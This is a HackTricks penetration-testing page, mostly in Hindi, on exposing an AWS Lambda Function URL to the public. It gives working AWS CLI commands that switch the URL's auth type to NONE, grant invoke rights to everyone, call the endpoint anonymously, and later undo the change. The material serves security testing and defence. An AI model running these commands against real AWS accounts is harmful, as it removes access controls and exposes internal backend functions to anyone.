Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md

2.5 KiB

AWS - Lambda Function URL सार्वजनिक एक्सपोजर (AuthType NONE + Public Invoke Policy)

{{#include ../../../../banners/hacktricks-training.md}}

Function URL AuthType को NONE में बदलकर और एक resource-based policy को जोड़कर जो lambda:InvokeFunctionUrl को हर किसी को देती है, एक private Lambda Function URL को public unauthenticated endpoint में बदलें। इससे internal functions का anonymous invocation संभव हो जाता है और संवेदनशील backend operations उजागर हो सकते हैं।

दुरुपयोग

  • पूर्व-आवश्यकताएँ: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
  • Region: us-east-1

कदम

  1. सुनिश्चित करें कि function में एक Function URL है (defaults to AWS_IAM):
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
  1. URL को public में बदलें (AuthType NONE):
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
  1. unauthenticated principals को अनुमति देने के लिए एक resource-based policy statement जोड़ें:
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
  1. URL प्राप्त करें और credentials के बिना invoke करें:
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"

प्रभाव

  • Lambda function इंटरनेट पर anonymously उपलब्ध हो जाती है।

उदाहरण आउटपुट (unauthenticated 200)

HTTP 200
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}

सफाई

aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true

{{#include ../../../../banners/hacktricks-training.md}}